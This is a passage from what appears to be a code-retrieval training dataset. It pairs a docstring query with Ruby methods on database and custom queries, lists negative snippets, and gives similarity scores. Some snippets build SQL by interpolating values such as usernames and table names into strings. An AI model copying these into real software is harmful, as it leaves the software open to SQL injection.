"def all(*vars)\n result = Query.get self, *vars\n result.get_docs\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def snapshots_redact_sql_queries=(_arg0); end",
"def query_columns\n explicit_columns\n end",
"def query\n @operation = :query\n self\n end",
"def query\n case query_type_str\n when 'empty'\n return\n when 'iso'\n return iso_query_builder\n when 'multi'\n return multi_query_builder\n end\n end",
"def default_query\n base_where_query(nil, nil)\n end",
"def index\n @query_checks = QueryCheck.all\n end",
"def get_all()\n raise \"Must be overridden\"\n end",
"def all\n table_name = self.to_s.pluralize.underscore\n results = DATABASE.execute(\"SELECT * FROM #{table_name}\")\n \n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n \n return results_as_objects\n end",
"def queries(queries)\n result = @client.api_helper.get_response(Config::TODOIST_QUERY_COMMAND, \n queries: queries.to_json)\n return ParseHelper.make_objects_as_hash(result, \"query\")\n end",
"def get_all_results\n warn \"[DEPRECATION] `Vcloud::Core::Query::get_all_results` is deprecated. Please use `Vcloud::Core::QueryRunner.run` instead.\"\n @query_runner.run(@type, @options)\n end",
"def instructor_queries\n\t\tquery = \"\"\n\n\t\tdistribution.each do |user|\n\t\t\tquery << %(\n\t\t\t\tUNION\n\t\t\t\t-- select contact attributes and count attendances on a time slot\n\t\t\t\tSELECT DISTINCT contacts.*, MAX(accounts_contacts.padma_status) status, #{instructors_count_select user[:sql_username]}\n\t\t\t\tFROM contacts\n\t\t\t\tINNER JOIN accounts_contacts ON contacts.id = accounts_contacts.contact_id\n\t\t\t\tINNER JOIN attendance_contacts ON contacts.id = attendance_contacts.contact_id\n\t\t\t\tINNER JOIN attendances ON attendance_contacts.attendance_id = attendances.id\n\t\t\t\tINNER JOIN time_slots ON attendances.time_slot_id = time_slots.id\n\t\t\t\tWHERE attendances.username = '#{user[:username]}'\n\t\t\t\tAND #{account_condition}\n\t\t\t\tAND #{attendance_between_dates_condition}\n\t\t\t\tAND #{status_condition}\n\t\t\t\t#{cultural_activity_condition}\n\t\t\t\tGROUP BY contacts.id\n\t\t\t)\n\t\tend\n\n\t\tquery\n\tend",
"def execute_query(query)\n dimension_names = query.all_dimensions? ? [] :\n query.referenced_dimensions.dup.\n concat(Wonkavision::Analytics.context.global_filters.\n select{ |f| f.dimension?}.map{ |dim_filter| dim_filter.name }).uniq.\n sort{ |a,b| a.to_s <=> b.to_s }\n\n filters = (query.filters + Wonkavision::Analytics.context.global_filters).compact.uniq\n\n fetch_tuples(dimension_names, filters)\n end",
"def get_query_columns(stanza_name,query_name)\n query_column_info = {}\n @metadata[\"stanzas\"].map do |stanza|\n if stanza_name == stanza[\"stanza_name\"]\n stanza[\"queries\"].each do |query|\n if query_name == query[\"query_name\"]\n query_column_info = query[\"columns\"]\n end\n end\n end\n end\n query_column_info\nend",
"def all\n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects(results)\n\n end",
"def results_query_where\n \"\"\n end",
"def batch_query\n render nothing: true\n\n # logger.info \"params: \" + params.inspect\n #\n # endpoints_all = Endpoint.all\n # logger.info \"List of all endpoints:\"\n # endpoints_all.each do |endpoint|\n # logger.info ' name: ' + endpoint[:name] + ', url: ' + endpoint[:base_url]\n # end\n\n # Select endpoints using array of endpoint names;\n # Unfortunately, they are not necessarily unique\n endpoint_names = params[:endpoint_names]\n logger.info 'param endpoint_names:' + endpoint_names.inspect\n selected_endpoints = []\n if endpoint_names\n parse_array(endpoint_names).each do |endpoint_name|\n match_ep = Endpoint.find_by_name(endpoint_name)\n if match_ep\n logger.info endpoint_name.to_s + ' matches: ' + match_ep[:name].inspect\n selected_endpoints.push(match_ep)\n else\n logger.info 'WARNING: ' + endpoint_name.to_s + ' has no match!'\n end\n end\n end\n # logger.info 'selected endpoings: ' + selected_endpoints.inspect\n\n\n # users = User.all\n # users.each do |user|\n # logger.info 'username: ' + user[:username]\n # end\n\n # queries_all = Query.all\n # logger.info \"List of all queries:\"\n # queries_all.each do |query|\n # logger.info ' title: ' + query[:title] + ', desc: ' + query[:description]\n # end\n\n # Select query using array of query descriptions;\n # Unfortunately, they are not necessarily unique\n #query_titles = params[:query_titles]\n username = params[:username]\n current_user = User.find_by_username(username)\n if current_user\n query_descriptions = params[:query_descriptions]\n # logger.info 'param query_descriptions:' + query_descriptions.inspect\n selected_queries = []\n if query_descriptions\n parse_array(query_descriptions).each do |query_desc|\n match_query = current_user.queries.find_by_description(query_desc)\n if match_query\n logger.info query_desc + ' matches: ' + match_query[:description].inspect\n selected_queries.push(match_query)\n else\n logger.info 'WARNING: ' + query_desc + ' has no match!'\n end\n end\n end\n end\n # logger.info 'selected queries: ' + selected_queries.inspect\n\n if selected_endpoints && !selected_endpoints.empty? &&\n selected_queries && !selected_queries.empty?\n notify = params[:notification]\n selected_queries.each do |eachQuery|\n #Parallel.each(selected_queries, :in_threads=>15) do |eachQuery|\n # execute the query, and pass in the endpoints and if the user should be notified by email when execution completes\n # logger.info 'title: ' + eachQuery[:title].inspect\n # logger.info 'desc: ' + eachQuery[:description].inspect\n # logger.info 'user_id: ' + eachQuery[:user_id].inspect\n eachQuery.execute(selected_endpoints, notify)\n end\n else\n flash[:alert] = 'Cannot execute a query if no endpoints are provided.'\n end\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def extract_sql_queries\n sql_queries = Lograge::Sql.store[:lograge_sql_queries]\n return {} unless sql_queries\n\n Lograge::Sql.store[:lograge_sql_queries] = nil\n {\n sql_queries: Lograge::Sql.formatter.call(sql_queries),\n sql_queries_count: sql_queries.length\n }\n end",
"def skip_schema_queries; end",
"def get_query_result_docs(query_obj)\n response = @query_server.query(query_obj)\n response.getResults\n end"
] |
[
"0.7454375",
"0.71555",
"0.69711924",
"0.6797424",
"0.6766234",
"0.6713893",
"0.66123575",
"0.63739824",
"0.6338998",
"0.6313369",
"0.6310469",
"0.63040304",
"0.6242687",
"0.6226933",
"0.62102723",
"0.6200628",
"0.6162009",
"0.61601615",
"0.6143442",
"0.61035734",
"0.60720694",
"0.60495794",
"0.6023511",
"0.6023511",
"0.5993164",
"0.5991131",
"0.5989053",
"0.5965653",
"0.5964473",
"0.5963931",
"0.59587413",
"0.5949974",
"0.5945272",
"0.5941068",
"0.59192085",
"0.59192085",
"0.590633",
"0.5902857",
"0.5896031",
"0.5884998",
"0.58827096",
"0.5862861",
"0.58620894",
"0.5861119",
"0.5856779",
"0.5856779",
"0.5856779",
"0.58370566",
"0.5836762",
"0.58317214",
"0.5831481",
"0.5831481",
"0.5831141",
"0.5813485",
"0.5810164",
"0.58087146",
"0.5798622",
"0.5798622",
"0.57957554",
"0.57937825",
"0.57877016",
"0.57840973",
"0.57697344",
"0.5754286",
"0.5727746",
"0.5726707",
"0.57212716",
"0.57168746",
"0.5716555",
"0.57062215",
"0.5705731",
"0.57030636",
"0.56870776",
"0.5684805",
"0.56835526",
"0.5680462",
"0.56733584",
"0.5669133",
"0.5666037",
"0.56632453",
"0.5662415",
"0.5661028",
"0.5660638",
"0.5655518",
"0.56421524",
"0.5626354",
"0.5612856",
"0.56106937",
"0.56062984",
"0.5604323",
"0.5603424",
"0.5592709",
"0.5591022",
"0.5587819",
"0.5581631",
"0.5579113",
"0.5577542",
"0.5576918",
"0.55750537",
"0.5573448",
"0.5571206"
] |
0.0
|
-1
|
Retruns all custom queries defined in the system
|
def get_queries_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.get_queries ..."
end
# resource path
local_var_path = "/server/queries/definitions"
# query parameters
query_params = {}
query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?
query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'QueryDefinitions')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#get_queries\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end",
"def queries\n qrs = []\n self.each_query {|qr| qrs << qr }\n qrs\n end",
"def queries\n @requested_queries.map { |key| Gquery.get(key) }.compact\n end",
"def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end",
"def raw_all\n query_all\n end",
"def discover\n choria.pql_query(@query, true)\n end",
"def all(query); end",
"def index\n @sql_queries = SqlQuery.all\n end",
"def query\n ::Dummy.all\n end",
"def raw_query\n @raw_query\n end",
"def query sql\n result = db[sql].all\n return result\n end",
"def all\n\t\tquery.execute\n end",
"def collect_queries(db_name)\n # find the queries\n found_queries = AppQuery.map_from_pg_stat_statements(PostgresDb::PgStatStatement.statements_for_database(db_name))\n\n # associate them\n found_queries.each do |query|\n app_queries << query\n end\n\n return found_queries\n end",
"def query\n end",
"def query; end",
"def base_query\n [nil]\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def index\n\t\t@queries = Query.all\n\tend",
"def snapshots_redact_sql_queries; end",
"def query\n super\n end",
"def initial_query; end",
"def index\n @queries = Query.where(:user_id => current_user.id)\n end",
"def index\n @queries = Query.all\n end",
"def index\n @queries = Query.all\n end",
"def queries(project_id)\n resource \"projects/#{project_id}/queries\"\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def all() \n @sql = @default_sql\n query(@sql) unless @a\n @a\n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = QUIZ.execute(\"SELECT * FROM #{table_name}\")\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def db_queries_where__samples\n db_queries_operate__samples.map { |e| [e] }\n end",
"def query(query_definition)\n return\n end",
"def execute_query(query)\n ActiveRecord::Base.connection.select_all(query)\n end",
"def all\n @@wheres\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def query_methods(result_type); end",
"def index\n @user_queries = UserQuery.all\n end",
"def index\n @user_queries = UserQuery.all\n end",
"def find_all_by_query(query, options={})\n find_by_query(:all, query, options)\n end",
"def find_by_query_columns\n ['title', 'description']\n end",
"def query_base\n @query_base ||= lambda do\n el = '?'\n [Func::UNACCENT].each do |func|\n el = \"#{func}(#{el})\"\n end\n el\n end.call\n end",
"def pioQuery\n client.query(current_company.user => 4)\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def get_all_by_query(query)\n qry = \"SELECT #{build_fields(query)} FROM `#{@table_name}`\"\n where = build_where(query)\n qry += \" WHERE #{where}\" unless where.length == 0\n cached_query(qry,[@table_name])\n end",
"def query\n get_query_object\n end",
"def perform_query\n Rails.logger.info queries.to_sql\n queries\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def sql_query(sqlquery)\n\t\tActiveRecord::Base.connection.select_all(sqlquery)\n\tend",
"def query\n ::User.all\n end",
"def query_all(args = {})\n query(args.merge(select: \"DISTINCT #{model.table_name}.*\"))\n end",
"def query\n self\n end",
"def query\n self\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def all \n results = CONNECTION.execute(\"SELECT * FROM #{self.table_name}\")\n \n return self.results_as_objects(results)\n end",
"def initialize\n super(\"query\")\n end",
"def connection_execute_method\n :query\n end",
"def connection_execute_method\n :query\n end",
"def preserve_query_aliases\n class << self\n # I have to do the interesting hack below instead of using alias_method\n # because there's some sort of weirdness going on with how __all binds\n # to all in Ruby 2.0.\n __all = self.instance_method(:all)\n\n define_method(:__all) do\n __all.bind(self).call\n end\n\n # From ActiveRecord::Querying\n delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :__all\n delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :__all\n delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, :to => :__all\n delegate :find_by, :find_by!, :to => :__all\n delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :__all\n delegate :find_each, :find_in_batches, :to => :__all\n delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,\n :where, :preload, :eager_load, :includes, :from, :lock, :readonly,\n :having, :create_with, :uniq, :distinct, :references, :none, :unscope, :to => :__all\n delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :__all\n end\n end",
"def select_all; end",
"def query_def; query.name; end",
"def run()\n if @type.nil?\n output_available_query_types\n else\n output_query_results\n end\n end",
"def get_all_from_database\n model.all\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def cs_starter\n # make_batched_queries\n make_standard_queries\n end",
"def query\n return nil\n end",
"def custom_query(options)\n form_data = {}\n options.each {|k,v| form_data[k.to_s] = v.to_s }\n form_data['action'] = 'query'\n make_api_request(form_data).first.elements['query']\n end",
"def result\n ActiveRecord::Base.connection.select_all(sql).entries\n end",
"def select_all(sql, name = nil) end",
"def cdbquery(m, query)\n if is_supadmin?(m.user)\n queryresult = db_custom_query(query)\n m.reply \"DB Says: #{queryresult}\"\n else\n m.reply NOTADMIN, true\n end\n end",
"def custom_sql(q)\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n query.each { |x| print_line(\"#{x.join(',')}\") } unless query.empty?\n end",
"def load_sidebar_query\n # User can see public queries and his own queries\n conditions = [\"(is_public = ? OR user_id = ?)\", true, (User.current.logged? ? User.current.id : 0)]\n\n # Project specific queries and global queries\n if @project.nil? \n conditions[0] = conditions[0] + \" AND (project_id IS NULL)\"\n else\n conditions[0] = conditions[0] + \" AND (project_id IS NULL OR project_id = ?)\"\n conditions << @project.id\n end\n\n @sidebar_queries = IssueQuery.find(:all,\n :select => 'id, name, is_public',\n :order => \"id DESC\",\n :conditions => conditions)\n end",
"def query_device_management\n @devices = query(\"select * from device_management \")\n end",
"def index\n @saved_queries = SavedQuery.all\n end",
"def find_by_query_columns\n raise \"override in model as find_by_query_columns, e.g. return ['name', 'description']\"\n end",
"def all_gtm_iquery_statistics\n super\n end",
"def all(*vars)\n result = Query.get self, *vars\n result.get_docs\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def snapshots_redact_sql_queries=(_arg0); end",
"def query_columns\n explicit_columns\n end",
"def query\n @operation = :query\n self\n end",
"def query\n case query_type_str\n when 'empty'\n return\n when 'iso'\n return iso_query_builder\n when 'multi'\n return multi_query_builder\n end\n end",
"def default_query\n base_where_query(nil, nil)\n end",
"def index\n @query_checks = QueryCheck.all\n end",
"def get_all()\n raise \"Must be overridden\"\n end",
"def all\n table_name = self.to_s.pluralize.underscore\n results = DATABASE.execute(\"SELECT * FROM #{table_name}\")\n \n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n \n return results_as_objects\n end",
"def queries(queries)\n result = @client.api_helper.get_response(Config::TODOIST_QUERY_COMMAND, \n queries: queries.to_json)\n return ParseHelper.make_objects_as_hash(result, \"query\")\n end",
"def get_all_results\n warn \"[DEPRECATION] `Vcloud::Core::Query::get_all_results` is deprecated. Please use `Vcloud::Core::QueryRunner.run` instead.\"\n @query_runner.run(@type, @options)\n end",
"def instructor_queries\n\t\tquery = \"\"\n\n\t\tdistribution.each do |user|\n\t\t\tquery << %(\n\t\t\t\tUNION\n\t\t\t\t-- select contact attributes and count attendances on a time slot\n\t\t\t\tSELECT DISTINCT contacts.*, MAX(accounts_contacts.padma_status) status, #{instructors_count_select user[:sql_username]}\n\t\t\t\tFROM contacts\n\t\t\t\tINNER JOIN accounts_contacts ON contacts.id = accounts_contacts.contact_id\n\t\t\t\tINNER JOIN attendance_contacts ON contacts.id = attendance_contacts.contact_id\n\t\t\t\tINNER JOIN attendances ON attendance_contacts.attendance_id = attendances.id\n\t\t\t\tINNER JOIN time_slots ON attendances.time_slot_id = time_slots.id\n\t\t\t\tWHERE attendances.username = '#{user[:username]}'\n\t\t\t\tAND #{account_condition}\n\t\t\t\tAND #{attendance_between_dates_condition}\n\t\t\t\tAND #{status_condition}\n\t\t\t\t#{cultural_activity_condition}\n\t\t\t\tGROUP BY contacts.id\n\t\t\t)\n\t\tend\n\n\t\tquery\n\tend",
"def execute_query(query)\n dimension_names = query.all_dimensions? ? [] :\n query.referenced_dimensions.dup.\n concat(Wonkavision::Analytics.context.global_filters.\n select{ |f| f.dimension?}.map{ |dim_filter| dim_filter.name }).uniq.\n sort{ |a,b| a.to_s <=> b.to_s }\n\n filters = (query.filters + Wonkavision::Analytics.context.global_filters).compact.uniq\n\n fetch_tuples(dimension_names, filters)\n end",
"def get_query_columns(stanza_name,query_name)\n query_column_info = {}\n @metadata[\"stanzas\"].map do |stanza|\n if stanza_name == stanza[\"stanza_name\"]\n stanza[\"queries\"].each do |query|\n if query_name == query[\"query_name\"]\n query_column_info = query[\"columns\"]\n end\n end\n end\n end\n query_column_info\nend",
"def all\n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects(results)\n\n end",
"def results_query_where\n \"\"\n end",
"def batch_query\n render nothing: true\n\n # logger.info \"params: \" + params.inspect\n #\n # endpoints_all = Endpoint.all\n # logger.info \"List of all endpoints:\"\n # endpoints_all.each do |endpoint|\n # logger.info ' name: ' + endpoint[:name] + ', url: ' + endpoint[:base_url]\n # end\n\n # Select endpoints using array of endpoint names;\n # Unfortunately, they are not necessarily unique\n endpoint_names = params[:endpoint_names]\n logger.info 'param endpoint_names:' + endpoint_names.inspect\n selected_endpoints = []\n if endpoint_names\n parse_array(endpoint_names).each do |endpoint_name|\n match_ep = Endpoint.find_by_name(endpoint_name)\n if match_ep\n logger.info endpoint_name.to_s + ' matches: ' + match_ep[:name].inspect\n selected_endpoints.push(match_ep)\n else\n logger.info 'WARNING: ' + endpoint_name.to_s + ' has no match!'\n end\n end\n end\n # logger.info 'selected endpoings: ' + selected_endpoints.inspect\n\n\n # users = User.all\n # users.each do |user|\n # logger.info 'username: ' + user[:username]\n # end\n\n # queries_all = Query.all\n # logger.info \"List of all queries:\"\n # queries_all.each do |query|\n # logger.info ' title: ' + query[:title] + ', desc: ' + query[:description]\n # end\n\n # Select query using array of query descriptions;\n # Unfortunately, they are not necessarily unique\n #query_titles = params[:query_titles]\n username = params[:username]\n current_user = User.find_by_username(username)\n if current_user\n query_descriptions = params[:query_descriptions]\n # logger.info 'param query_descriptions:' + query_descriptions.inspect\n selected_queries = []\n if query_descriptions\n parse_array(query_descriptions).each do |query_desc|\n match_query = current_user.queries.find_by_description(query_desc)\n if match_query\n logger.info query_desc + ' matches: ' + match_query[:description].inspect\n selected_queries.push(match_query)\n else\n logger.info 'WARNING: ' + query_desc + ' has no match!'\n end\n end\n end\n end\n # logger.info 'selected queries: ' + selected_queries.inspect\n\n if selected_endpoints && !selected_endpoints.empty? &&\n selected_queries && !selected_queries.empty?\n notify = params[:notification]\n selected_queries.each do |eachQuery|\n #Parallel.each(selected_queries, :in_threads=>15) do |eachQuery|\n # execute the query, and pass in the endpoints and if the user should be notified by email when execution completes\n # logger.info 'title: ' + eachQuery[:title].inspect\n # logger.info 'desc: ' + eachQuery[:description].inspect\n # logger.info 'user_id: ' + eachQuery[:user_id].inspect\n eachQuery.execute(selected_endpoints, notify)\n end\n else\n flash[:alert] = 'Cannot execute a query if no endpoints are provided.'\n end\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def extract_sql_queries\n sql_queries = Lograge::Sql.store[:lograge_sql_queries]\n return {} unless sql_queries\n\n Lograge::Sql.store[:lograge_sql_queries] = nil\n {\n sql_queries: Lograge::Sql.formatter.call(sql_queries),\n sql_queries_count: sql_queries.length\n }\n end",
"def skip_schema_queries; end",
"def get_query_result_docs(query_obj)\n response = @query_server.query(query_obj)\n response.getResults\n end"
] |
[
"0.745479",
"0.7155899",
"0.6972376",
"0.6798342",
"0.67660093",
"0.6713353",
"0.66123927",
"0.63746053",
"0.634009",
"0.6312674",
"0.6309223",
"0.6303415",
"0.6242964",
"0.6227311",
"0.6210663",
"0.6200759",
"0.6162114",
"0.61615574",
"0.6142815",
"0.6103811",
"0.6072565",
"0.6051193",
"0.6024527",
"0.6024527",
"0.5993799",
"0.59897536",
"0.5988793",
"0.5965445",
"0.5965263",
"0.5964072",
"0.5956923",
"0.59509164",
"0.594453",
"0.59415334",
"0.5920688",
"0.5920688",
"0.59063",
"0.5902903",
"0.5895922",
"0.5885973",
"0.58820355",
"0.5863077",
"0.5862643",
"0.585973",
"0.5856961",
"0.5856961",
"0.5856961",
"0.58365285",
"0.5835404",
"0.5833003",
"0.58318186",
"0.5831261",
"0.5831261",
"0.581319",
"0.5809257",
"0.5809209",
"0.57979137",
"0.57979137",
"0.5793037",
"0.57883495",
"0.5784846",
"0.5769575",
"0.5754598",
"0.57269233",
"0.57245624",
"0.57210314",
"0.5717175",
"0.5715806",
"0.57046676",
"0.57045877",
"0.5704333",
"0.56857467",
"0.5685746",
"0.5684355",
"0.56803375",
"0.5673695",
"0.5670562",
"0.56661075",
"0.5663718",
"0.56616855",
"0.56613183",
"0.5660536",
"0.5655121",
"0.56415397",
"0.56282145",
"0.5614701",
"0.56101906",
"0.5605546",
"0.5605417",
"0.56034493",
"0.55932593",
"0.55907965",
"0.55886793",
"0.55804545",
"0.5579689",
"0.55771995",
"0.5575879",
"0.5575769",
"0.55726284",
"0.55715954"
] |
0.5797192
|
58
|
Retrieves existing query definition from the system with given queryName
|
def get_query(query_name, opts = {})
data, _status_code, _headers = get_query_with_http_info(query_name, opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def get_query(project_id, query_id)\n get \"projects/#{project_id}/queries/#{query_id}\"\n end",
"def query_def; query.name; end",
"def query(query_definition)\n return\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def find_query(querys,name_q)\n # newq = querys.find{|q| ( q.find{|h| (h.subject_id)})}\n new_q=nil\n\n if !querys.empty?\n new_q=querys.find{|q| (q.query_id==name_q)}\n end\n\n return new_q\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def see(query_name)\n @client.call(:see, query_name)\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def query_def; mrna.definition; end",
"def definition_by_name(name)\n definitions_repository.get(name)\n end",
"def query(query)\n XMLDB::Base::ResourceSet.getInstance(@obj._invoke('query', 'Ljava.lang.String;', query))\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query_spec\n ns_definition(:equity_quote, :query_spec, 1)\n end",
